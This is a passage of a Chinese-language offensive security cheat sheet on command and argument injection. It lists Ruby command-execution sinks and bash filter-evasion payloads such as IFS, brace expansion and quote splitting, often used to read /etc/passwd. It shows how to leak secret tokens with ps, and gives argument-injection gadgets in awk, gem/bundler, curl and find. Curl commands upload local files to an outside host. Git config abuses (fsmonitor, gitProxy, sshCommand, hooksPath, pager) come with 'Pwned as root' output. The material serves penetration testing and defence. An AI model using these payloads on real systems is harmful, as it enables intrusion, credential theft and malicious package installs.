# https://docs.python.org/2.7/library/popen2.html#module-popen2
# 已弃用，在 Python <= 2.7 中可用
# popen2.popen2, popen2.popen3, popen2.popen4, popen2.Popen3, popen2.Popen4
popen2.popen2("cmdname arg1 arg2")
popen2.Popen3("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/platform.html#platform.popen
# 已弃用，在 Python <= 2.7 中可用
platform.popen("cmdname arg1 arg2")
```

### Ruby

```ruby
# 反引号
`cmdname arg1 arg2`

# %x 命令
%x cmdname ;
# %x<CHAR>命令<CHAR>
%x(cmdname arg1 arg2)
%x[cmdname arg1 arg2]
%x|cmdname arg1 arg2|
%x{cmdname arg1 arg2}
%x/cmdname arg1 arg2/
%x"cmdname arg1 arg2"
# ...

# shell heredoc
<<`EOF`
cmdname arg1 arg2
EOF

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-exec
# Kernel.exec
exec("cmdname arg1 arg2")
exec(["cmdname", "argv0"], "arg1", "arg2")
exec("cmdname", "arg1", "arg2")
# 或
Kernel.exec("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-system
# Kernel.system
system("cmdname arg1 arg2")
system(["cmdname", "argv0"], "arg1", "arg2")
system("cmdname", "arg1", "arg2")
# 或
Kernel.system("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-spawn
# Kernel.spawn
spawn("cmdname arg1 arg2")
spawn(["cmdname", "argv0"], "arg1", "arg2")
spawn("cmdname", "arg1", "arg2")
# 或
Kernel.system("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-open
# Kernel.open
open("| cmdname arg1 arg2")
# 或
Kernel.open("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Process.html#method-c-spawn
# Process.spawn
Process.spawn("cmdname arg1 arg2")
Process.spawn(["cmdname", "argv0"], "arg1", "arg2")
Process.spawn("cmdname", "arg1", "arg2")

# https://ruby-doc.org/3.2.1/Process.html#method-c-exec
# Process.exec
Process.exec("cmdname arg1 arg2")
Process.exec(["cmdname", "argv0"], "arg1", "arg2")
Process.exec("cmdname", "arg1", "arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-popen
# IO.popen
IO.popen("cmdname arg1 arg2")
IO.popen(["cmdname", "arg1", "arg2"])
IO.popen([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/IO.html#method-c-read
# IO.read
IO.read("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-write
# IO.write
IO.write("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-binread
# IO.binread
IO.binread("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-binwrite
# IO.binwrite
IO.binwrite("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-foreach
# IO.foreach
IO.foreach("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-readlines
# IO.readlines
IO.readlines("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture2
# Open3.capture2
Open3.capture2("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture2e
# Open3.capture2e
Open3.capture2e("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture3
# Open3.capture3
Open3.capture3("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen2
# Open3.popen2
Open3.popen2("cmdname arg1 arg2")
Open3.popen2(["cmdname", "arg1", "arg2"])
Open3.popen2([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen2e
# Open3.popen2e
Open3.popen2e("cmdname arg1 arg2")
Open3.popen2e(["cmdname", "arg1", "arg2"])
Open3.popen2e([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen3
# Open3.popen3
Open3.popen3("cmdname arg1 arg2")
Open3.popen3(["cmdname", "arg1", "arg2"])
Open3.popen3([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_r
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_rw
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_start
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_w
# Open3.pipeline(_r/_w/_rw/_start)
Open3.pipeline("cmdname arg1 arg2", "cmdname arg1 arg2")
Open3.pipeline(["cmdname", "arg1", "arg2"], "cmdname arg1 arg2")
Open3.pipeline([["cmdname", "argv0"], "arg1", "arg2"], "cmdname arg1 arg2")

# https://ruby-doc.org/stdlib-2.5.1/libdoc/open-uri/rdoc/OpenURI.html
# URI.open
# 参考：https://sakurity.com/blog/2015/02/28/openuri.html
require "open-uri"
URI.open("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Object.html#method-i-send
# https://ruby-doc.org/3.2.1/Object.html#method-i-public_send
# 参考：https://bishopfox.com/blog/ruby-vulnerabilities-exploits
# Object.send, Object.public_send
1.send("eval", "`cmdname arg1 arg2`")
"".send("eval", "`cmdname arg1 arg2`")
o.send("method", "args")
```

## Linux 文件

### /etc/environment

[/etc/environment](https://man7.org/linux/man-pages/man7/environ.7.html) 包含指定新 shell 基本环境变量的环境变量。但是，它可以被其他程序使用。Linux 任务调度程序（cron）中的每个执行作业都导入此文件，如果存在由用户（例如 root）执行的作业，您可以滥用 `/etc/environment` 代表该用户执行任意代码。例如，您可以使用 [LD\_PRELOAD](#ld_preload) 来获得代码执行。

参考：

* [FabricScape：逃离 Service Fabric 并接管集群](https://unit42.paloaltonetworks.com/fabricscape-cve-2022-30137/)

## 技巧

### 花括号扩展

花括号扩展是一种生成任意字符串的机制。要花括号扩展的模式采用可选序言的形式，后跟一系列逗号分隔的字符串或一对花括号之间的序列表达式，后跟可选的后记。序言前缀到包含在花括号内的每个字符串，然后后记附加到每个结果字符串，从左到右扩展。例如：

```bash
$ echo a{d,c,b}e
ade ace abe
```

您可以使用花括号扩展来创建 payload：

```bash
$ {cat,/etc/passwd}
```

参考：

* [Bash 参考手册：3.5.1 花括号扩展](https://www.gnu.org/software/bash/manual/bash.html#Brace-Expansion)

### 命令替换

命令替换允许命令的输出替换命令本身。当命令按如下方式包含时，会发生命令替换：

```bash
$(command)
`command`
```

Bash 通过在子 shell 环境中执行命令并用命令的标准输出替换命令替换来执行扩展。

参考：

* [Bash 参考手册：3.5.4 命令替换](https://www.gnu.org/software/bash/manual/bash.html#Command-Substitution)

### 字符编码

有几种处理编码字符串的方法：

1. `$'string'` 单词：

   形式为 `$'string'` 的单词被特殊处理。该单词扩展为字符串，反斜杠转义字符按照 ANSI C 标准指定的方式替换。

   ```bash
   $ a=$'\x74\x65\x73\x74'; echo $a
   $ a=$'\164\145\163\164'; echo $a
   $ a=$'\u0074\u0065\u0073\u0074'; echo $a
   $ a=$'\U00000074\U00000065\U00000073\U00000074'; echo $a
   ```
2. `echo` 命令：

   `echo` 提供 `-e` 选项来解释反斜杠转义。注意识别的序列取决于 `echo` 的版本，以及 `-e` 选项可能根本不存在。

   ```bash
   echo -e "\x74\x65\x73\x74"
   echo -e "\0164\0145\0163\0164"
   ```
3. `xxd` 命令：

   ```bash
   $ xxd -r -p <<< 74657374
   $ xxd -r -ps <(echo 74657374)
   ```

参考：

* [Bash 参考手册：3.1.2.4 ANSI-C 引用](https://www.gnu.org/software/bash/manual/bash.html#ANSI_002dC-Quoting)
* [echo 手册页](https://linux.die.net/man/1/echo)
* [xxd 手册页](https://linux.die.net/man/1/xxd)

### 泄露命令行参数

如果您在 cli 命令中有参数注入，该命令已传递敏感参数，如令牌或密码，您可以尝试使用 `ps x -w` 泄露传递的秘密。

```bash
# 您可以向 <injection here> 部分注入任意参数
$ command --user username --token SECRET_TOKEN <injection here>
# 使用 & 将易受攻击的命令发送到后台
# 并使用 ps x -w 捕获参数
$ command --user username --token SECRET_TOKEN & ps x -w

    PID TTY      STAT   TIME COMMAND
   1337 ?        S      0:00 /usr/bin/command --user username --token SECRET_TOKEN
   1574 ?        R      0:00 ps x -w
```

如果 cli 日志隐藏敏感设置或敏感数据未存储在环境中，这可能会很有用。

如果 cli 日志隐藏敏感数据或敏感数据未存储在环境中（例如，GitHub Actions 提供变量插值 `${{...}}` 用于注入秘密，并且您无法在执行期间访问秘密），这可能会很有用。另一种情况是当您有盲注时，可以将 `ps x -w` 的输出重定向到您有权访问的文件。

### 命令列表

使用运算符 `;`、`&`、`&&` 或 `||` 组合多个命令的执行，并可选择由 `;`、`&` 或 `\n` 之一终止。

```bash
$ command1; command2
$ command1 & command2
$ command1 && command2
$ command1 || command2 # 仅当 command1 失败时
$ command1\ncommand2
```

此外，您可以使用管道用于相同的目的：

```bash
$ command1 | command2 
$ command1 |& command2 
```

参考：

* [Bash 参考手册：3.2.3 管道](https://www.gnu.org/software/bash/manual/bash.html#Pipelines)
* [Bash 参考手册：3.2.4 命令列表](https://www.gnu.org/software/bash/manual/bash.html#Lists)

### 使用 tr 产生斜杠

```bash
$ echo . | tr '!-0' '"-1'
$ tr '!-0' '"-1' <<< .
$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```

### 重定向

在命令执行之前使用运算符 `>`、`>|`、`>>`、`<` 等重定向输入和输出。

```bash
$ ls > dirlist 2>&1
$ cat</etc/passwd
```

使用运算符 `<<<` 提供附加换行符的单个字符串。

```bash
$ base64 -d <<< dGVzdA==
```

参考：

* [Bash 参考手册：3.6 重定向](https://www.gnu.org/software/bash/manual/bash.html#Redirections)

### Shell 参数扩展

参数扩展的基本形式是 `${parameter}`；参数的值被替换：

```bash
$ a="es"; echo "t${a}t"
```

更复杂的参数扩展形式允许您执行各种操作。例如，您可以提取子字符串并使用它们来创建 payload：

```bash
$ echo ${HOME:0:1}
$ cat ${HOME:0:1}etc${HOME:0:1}passwd
```

此外，匹配和替换在使用黑名单时可能很有用：

```bash
$ a=/eAAA/Atc/paAAA/Asswd; echo ${a//AAA\/A/}
```

参考：

* [Bash 参考手册：3.5.3 Shell 参数扩展](https://www.gnu.org/software/bash/manual/bash.html#Shell-Parameter-Expansion)
* [Bash 脚本速查表：参数扩展](https://devhints.io/bash#parameter-expansions)

### 特殊 Shell 参数

有几个参数 Shell 会特殊处理。其中一些参数您可用于创建 payload：

```bash
$ i$@d
# $0 扩展为 shell 或 shell 脚本的名称
$ bash -c 'echo id|$0'
```

参考：

* [Bash 参考手册：3.4.2 特殊参数](https://www.gnu.org/software/bash/manual/bash.html#Special-Parameters)

### Shell 变量

Bash 自动为许多变量分配默认值，如 `HOME` 或 `PATH`。其中一些变量可用于创建 payload。例如，您可以将 `IFS` 变量用作分隔符（这是可能的，因为 `IFS` 包含分隔字段的字符列表）：

```bash
$ cat$IFS/etc/passwd
$ echo${IFS}"test"
```

此外，您可以覆盖 `IFS` 并使用任何字符作为分隔符：

```bash
$ IFS=,;`cat<<<uname,-a`
```

参考：

* [Bash 参考手册：5 Shell 变量](https://www.gnu.org/software/bash/manual/bash.html#Shell-Variables)
* [Bash 参考手册：3.5.7 单词分割](https://www.gnu.org/software/bash/manual/bash.html#Word-Splitting)

### 技巧

```bash
# 在命令名中使用单引号
$ w'h'o'am'i
# 在命令名中使用双引号
$ w"h"o"am"i
# 在命令名中使用反斜杠和斜杠
$ w\ho\am\i
$ /\b\i\n/////s\h
```

## 参考

* [PayloadsAllTheThings：命令注入](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)


# 参数注入

## awk

### system

`awk` 支持 [system](https://www.gnu.org/software/gawk/manual/gawk.html#index-system_0028_0029-function) 命令来执行命令：

```bash
$ awk 'BEGIN {system("cmdname arg1 arg2")}' /dev/null
# 执行命令与文件中的行数相同
$ awk 'system("cmdname arg1 arg2")' /path/to/file
```

如果不能插入空格，可以使用 [sprintf](https://www.gnu.org/software/gawk/manual/gawk.html#index-sprintf_0028_0029-function-1) 来绕过：

```bash
$ awk 'BEGIN{system(sprintf("cmdname%carg1",32))}'
```

参考：

* [GTFOArgs: awk](https://gtfoargs.github.io/gtfoargs/awk/)

## bundler

### bundler install

[bundler install](https://bundler.io/v2.2/man/bundle-install.1.html) 在底层使用 `gem`，因此可以重用 gem 的功能来获利。

#### Gemfile

[Gemfile](https://bundler.io/v2.2/man/gemfile.5.html) 描述了执行相关 Ruby 代码所需的 gem 依赖项。由于它是一个 ruby 文件，您可以编写任意代码，在运行 `bundle install` 时执行。

```ruby
# Gemfile

# 这里的任意代码
system('echo "hola!"')
```

当运行 `bundle install` 时，任意的 ruby 代码将被执行。

```bash
$ bundle install
hola!
hola!
The Gemfile specifies no dependencies
Resolving dependencies...
Bundle complete! 0 Gemfile dependencies, 1 gem now installed.
```

#### gem 依赖项

由于 `bundler` 使用 `gem install` 来安装 `Gemfile` 中指定的依赖项，您可以使用扩展来嵌入任意代码。

```ruby
# hola.gemspec 文件

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
```

```ruby
# extconf.rb

# 这里的任意代码
system('echo "hola!"')
```

```bash
# 构建并推送到 rubygems.org
$ gem build hola.gemspec
$ gem push ./hola-0.0.0.gem
```

```ruby
# Gemfile

source 'https://rubygems.org'

gem 'hola'
```

当运行 `bundle install` 时，任意的 ruby 代码将被执行。

```bash
$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...
```

参考：

* [RubyGames 指南：制作自己的 gem](https://guides.rubygems.org/make-your-own-gem/)
* [RubyGames 指南：带扩展的 gem](https://guides.rubygems.org/gems-with-extensions/)
* [RubyGames 指南：规范参考 - 扩展](https://guides.rubygems.org/specification-reference/#extensions)
* [Bundler 文档：gemfile - Gems](https://bundler.io/v1.16/gemfile_man.html#GEMS)

#### git 依赖项

`bundler` 的 gem 源之一是包含 gem 源代码的 git 仓库。由于 git 仓库包含源代码，`bundler` 在安装前会构建它。因此，您可以编写任意代码，在运行 `bundle install` 时执行。

{% hint style="info" %}
您可以使用 [gemspec](#gem-build) 文件和[原生扩展](#extensions)来执行任意代码
{% endhint %}

在 `github.com` 上创建一个包含以下 `hola.gemspec` 文件的仓库：

```ruby
# 这里的任意代码
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end
```

将仓库作为 git 依赖项添加到 `Gemfile` 中。

```ruby
# Gemfile
gem 'hola', :git => 'https://github.com/username/hola'
```

当运行 `bundle install` 时，任意的 ruby 代码将被执行。

```bash
$ bundle install
Fetching https://github.com/username/hola
hola!
Resolving dependencies...
Using bundler 2.2.21
Using hola 0.0.0 from https://github.com/username/hola (at main@4a4a4ee)
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
```

参考：

* [Bundler 文档：gemfile - Git](https://bundler.io/v1.16/gemfile_man.html#GIT)

#### path 依赖项

您可以指定 gem 位于文件系统上的特定位置。相对路径相对于包含 `Gemfile` 的目录解析。由于 git 仓库包含源代码，`bundler` 在安装前会构建它。因此，您可以编写任意代码，在运行 `bundle install` 时执行。

您可以指定 gem 位于文件系统上的特定位置。相对路径相对于包含 `Gemfile` 的目录解析。

与 `:git` 选项的语义类似，`:path` 选项要求相关目录包含 gem 的 `.gemspec`，或者您指定 bundler 应使用的显式版本。

{% hint style="info" %}
与 `:git` 不同，`bundler` 不会为指定为路径的 gem 编译原生扩展
{% endhint %}

因此，您可以使用[带有任意代码的 .gemspec 文件](#gem-build)或[带有原生扩展的构建 gem](#extensions)来获得代码执行。

```ruby
# Gemfile
# .gemspec 文件位于 vendor/hola 中
gem 'hola', :path => "vendor/hola"
```

```ruby
# Gemfile
# vendor/hola 包含 hola-0.0.0.gem 文件
gem 'hola', '0.0.0', :path => "vendor/hola"
```

当运行 `bundle install` 时，任意的 ruby 代码将被执行。

```bash
$ bundle install
hola!
Resolving dependencies...
Using hola 0.0.0 from source at `vendor/hola`
Using bundler 2.2.21
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
```

参考：

* [Bundler 文档：gemfile - Path](https://bundler.io/v1.16/gemfile_man.html#PATH)

## curl

[curl](https://curl.se/docs/) 可用于泄露本地文件或向它们写入任意内容。

```bash
# 使用 POST 请求发送本地文件
$ curl --data @/path/to/local/file https://website.com
$ curl -F 'var=@/path/to/local/file' https://website.com
$ curl --upload-file /path/to/local/file https://website.com
# 将响应写入本地文件
$ curl https://website.com/payload.txt -o /path/to/local/file
```

此外，`file:` 方案可用于读取或复制本地文件：

```bash
# 读取本地文件
$ curl file:///path/to/local/file
# 将本地文件复制到新位置
$ curl file:///path/to/local/file -o /path/to/another/local/file
```

参考：

* [GTFOArgs: curl](https://gtfoargs.github.io/gtfoargs/curl/)

## find

### exec

[-exec](https://man7.org/linux/man-pages/man1/find.1.html) 选项可用于执行任意命令：

```bash
$ find . -name not_existing -or -exec cmdname arg1 arg2 \; -quit
$ find . -exec cmdname arg1 arg2 \; -quit
# 读取文件
$ find /path/to/file -exec cat {} \; -quit
```

参考：

* [GTFOArgs: find](https://gtfoargs.github.io/gtfoargs/find/)

### execdir

[-execdir](https://man7.org/linux/man-pages/man1/find.1.html) 类似于 `-exec`，但指定的命令从包含匹配项的子目录中运行。`-execdir` 可用于执行任意命令：

```bash
$ find . -name not_existing -or -execdir cmdname arg1 arg2 \; -quit
$ find . -execdir cmdname arg1 arg2 \; -quit
# 读取文件
$ find /path/to/file -execdir cat {} \; -quit
```

### fprintf

[-fprintf](https://man7.org/linux/man-pages/man1/find.1.html) 可用于写入本地文件：

```bash
$ find . -fprintf /path/to/file 'arbitrary content here' -quit
```

{% hint style="info" %}
`find` 提供了多种写入文件的方式，查看 [手册](https://man7.org/linux/man-pages/man1/find.1.html) 了解更多详细信息。
{% endhint %}

参考：

* [GTFOArgs: find](https://gtfoargs.github.io/gtfoargs/find/)

## gem

### gem build

`gemspec` 文件是一个 ruby 文件，定义了 gem 中的内容、谁制作了它以及 gem 的版本。由于它是一个 ruby 文件，您可以编写任意代码，在运行 `gem build` 时执行。

```ruby
# hola.gemspec 文件

# 这里的任意代码
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end
```

当运行 `gem build` 时，任意的 ruby 代码将被执行。

```bash
$ gem build hola.gemspec
hola!
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem
```

参考：

* [RubyGames 指南：制作自己的 gem](https://guides.rubygems.org/make-your-own-gem/)
* [RubyGames 指南：命令参考 - gem build](https://guides.rubygems.org/command-reference/#gem-build)

### gem install

#### 扩展

`gemspec` 允许您定义在安装 gem 时要构建的扩展。许多 gem 使用扩展来包装用 C 编写的库与 ruby 包装器。`gem` 使用 `extconf.rb` 在安装期间构建扩展。由于它是一个 ruby 文件，您可以编写任意代码，在运行 `gem install` 时执行。

```ruby
# hola.gemspec 文件

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
```

```ruby
# extconf.rb

# 这里的任意代码
system('echo "hola!"')
```

```bash
$ gem build hola.gemspec
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem
```

当运行 `gem install` 时，任意的 ruby 代码将被执行。

```bash
$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...
```

参考：

* [RubyGames 指南：带扩展的 gem](https://guides.rubygems.org/gems-with-extensions/)
* [RubyGames 指南：规范参考 - 扩展](https://guides.rubygems.org/specification-reference/#extensions)
* [RubyGames 指南：命令参考 - gem install](https://guides.rubygems.org/command-reference/#gem-install)

## git

{% embed url="<https://git-scm.com/docs/git>" %}

### -c/--config-env

[-c/--config-env](https://git-scm.com/docs/git#Documentation/git.txt--cltnamegtltvaluegt) 将配置参数传递给命令。给定的值将覆盖配置文件中的值。查看 [通过 .git/config 滥用](#abuse-via-.git-config) 部分以找到可滥用的参数。

{% hint style="info" %}
记住，现代版本的 Git 支持通过 [GIT\_CONFIG\* 环境变量](https://git-scm.com/docs/git-config#Documentation/git-config.txt-GITCONFIGCOUNT) 设置任何配置值。
{% endhint %}

### 滥用 git 目录

git 目录维护与 git 仓库相关的内部状态或元数据。它在用户的机器上创建，当：

* 用户执行 `git init` 来初始化一个空的本地仓库
* 用户执行 `git clone <repository>` 从远程位置克隆现有仓库

git 目录的结构记录在 <https://git-scm.com/docs/gitrepository-layout>

注意，git 目录通常是但不一定是名为 `.git` 的目录，位于仓库的根目录。有几个变量可以重新定义路径：

* [GIT\_DIR](https://git-scm.com/docs/git#Documentation/git.txt-codeGITDIRcode) 环境变量或 [--git-dir](https://git-scm.com/docs/git#Documentation/git.txt---git-dirltpathgt) 命令行选项指定用于仓库基础的路径，而不是默认的 `.git`。
* [GIT\_COMMON\_DIR](https://git-scm.com/docs/git#Documentation/git.txt-codeGITCOMMONDIRcode) 环境变量或 [commondir](https://git-scm.com/docs/gitrepository-layout#Documentation/gitrepository-layout.txt-commondir) 文件指定将从中获取非工作树文件的路径，这些文件通常在 `$GIT_DIR` 中。

注意，[裸仓库](https://git-scm.com/docs/git-init#Documentation/git-init.txt---bare) 根本没有 `.git` 目录。

参考：

* [技术分析：gh run download 实现允许在下载工件时覆盖 git 仓库配置](https://github.com/Metnew/write-ups/blob/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-gh-cli-run-download/README.md)

#### 通过 .git/config 滥用

`.git/config` 允许在[每个仓库的基础上配置选项](https://git-scm.com/docs/git-config#_variables)。许多选项允许指定将在各种情况下执行的命令，但其中一些情况仅在用户以特定方式与 git 仓库交互时出现。

至少有以下几种设置选项的方法：

1. 在系统范围内使用 [/etc/gitconfig](https://git-scm.com/docs/git-config#Documentation/git-config.txt-prefixetcgitconfig) 文件
2. 在全局范围内使用 [\~/git/config](https://git-scm.com/docs/git-config#Documentation/git-config.txt-XDGCONFIGHOMEgitconfig) 或 [\~/.gitconfig](https://git-scm.com/docs/git-config#Documentation/git-config.txt-gitconfig) 文件
3. 在本地每个仓库的基础上使用 [.git/config](https://git-scm.com/docs/git-config#Documentation/git-config.txt-GITDIRconfig) 文件
4. 在本地每个仓库的基础上使用 [.git/config.worktree](https://git-scm.com/docs/git-config#Documentation/git-config.txt-GITDIRconfigworktree) 文件。这是可选的，只有当 `.git/config` 中存在 `extensions.worktreeConfig` 时才会搜索
5. 在本地每个仓库的基础上使用 [git -c/--config-env](https://git-scm.com/docs/git#Documentation/git.txt--cltnamegtltvaluegt) 选项
6. 在本地每个仓库的基础上使用 [git-clone -c/--config](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--cltkeygtltvaluegt) 选项

**core.gitProxy**

[core.gitProxy](https://git-scm.com/docs/git-config#Documentation/git-config.txt-coregitProxy) 给出一个在使用 `git://` 协议建立与远程的连接时将执行的命令

```bash
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.gitProxy="./pwn.sh" git://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.
```

**core.fsmonitor**

[core.fsmonitor](https://git-scm.com/docs/git-config#Documentation/git-config.txt-corefsmonitor) 选项用作命令，该命令将标识自请求的日期/时间以来可能已更改的所有文件。

换句话说，git 提供的许多操作将调用 `core.fsmonitor` 给出的命令，以快速将操作范围限制为已知已更改的文件，以提高性能。

至少以下 git 操作调用 `core.fsmonitor` 给出的命令：

* `git status` 用于显示有关工作树状态的信息，包括是否有任何文件有未提交的更改
* `git add <pathspec>` 用于暂存更改以提交到仓库
* `git rm --cached <file>` 用于取消暂存更改
* `git commit` 用于提交暂存的更改
* `git checkout <pathspec>` 用于检出文件、提交、标签、分支等

对于接受文件名的操作，即使提供的文件名不存在，`core.fsmonitor` 也会触发。

```bash
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# 更改 core.fsmonitor 以便在调用时向 STDERR 回显消息
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> .git/config
$ cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	fsmonitor = "echo \"Pwned as $(id)\">&2; false"
# git-status
$ git status
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
On branch main

No commits yet

nothing to commit (create/copy files and use "git add" to track)

# git-add
$ touch aaaa
$ git add aaaa
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)

$ git add zzzz
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
fatal: pathspec 'zzzz' did not match any files

# git-commit
$ git commit -m 'add aaaa'
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
[main (root-commit) 7c2f2c6] add aaaa
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 aaaa
```

参考：

* [研究：Git 尊重嵌入的裸仓库，并且通过目录的 .git/config 中的 core.fsmonitor 的利用影响 IDE、shell 提示符和 Git 抢劫者](https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md)
* [研究：保护开发者工具 - Git 集成](https://blog.sonarsource.com/securing-developer-tools-git-integrations)

**core.hooksPath**

[core.hooksPath](https://git-scm.com/docs/git-config#Documentation/git-config.txt-corehooksPath) 为[钩子](https://git-scm.com/docs/githooks)设置不同的路径。您可以在仓库中创建 post checkout 钩子，使用 `hooksPath` 设置钩子的路径，并执行任意代码。

```bash
$ git clone "<REPO>" target_directory
$ cd target_directory
$ mkdir hooks
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
$ # 提交并推送
```

要执行 payload，运行 `git-clone`：

```bash
$ git clone -c core.hooksPath=hooks "<REPO>"
```

参考：

* [git-config 文档：core.hooksPath](https://git-scm.com/docs/git-config#Documentation/git-config.txt-corehooksPath)
* [githooks 文档](https://git-scm.com/docs/githooks)

**core.pager**

[core.pager](https://git-scm.com/docs/git-config#Documentation/git-config.txt-corepager) 指定 Git 命令使用的文本查看器（例如，less）。该值旨在由 shell 解释，可用于执行任意命令。

例如，在以下代码片段中，`git-grep` 具有 `--open-files-in-pager` 键，如果参数中未指定值，则使用 `core.pager` 中的默认分页器：

```bash
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git -c core.pager='cmdname arg1 arg2 #' grep --open-files-in-pager .
```

如果分页器值不是由用户直接设置的，则有优先级顺序：

1. `GIT_PAGER` 环境变量。
2. `core.pager` 配置。
3. `PAGER` 环境变量。
4. 编译时选择的默认值（通常是 `less`）。

因此，以下代码片段也可用于执行命令：

```bash
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ GIT_PAGER='id #' git grep --open-files-in-pager .
```

**core.sshCommand**

[core.sshCommand](https://git-scm.com/docs/git-config#Documentation/git-config.txt-coresshCommand) 给出一个在使用 SSH 协议建立与远程的连接时将执行的命令。如果设置了此变量，当它们需要连接到远程系统时，`git fetch` 和 `git push` 将使用指定的命令而不是 `ssh`。

```bash
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.sshCommand="./pwn.sh" git@github.com:user/project.git
# 或
$ git clone -c core.sshCommand="./pwn.sh" ssh://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.
```

**diff.external**

[diff.external](https://git-scm.com/docs/git-config#Documentation/git-config.txt-diffexternal) 给出一个将代替 git 内部 diff 函数使用的命令。

```bash
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone https://github.com/user/project.git
$ cd project
$ git -c diff.external="../pwn.sh" HEAD 480e4c9
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
```

**filter.\<driver>.clean 和 filter.\<driver>.smudge**

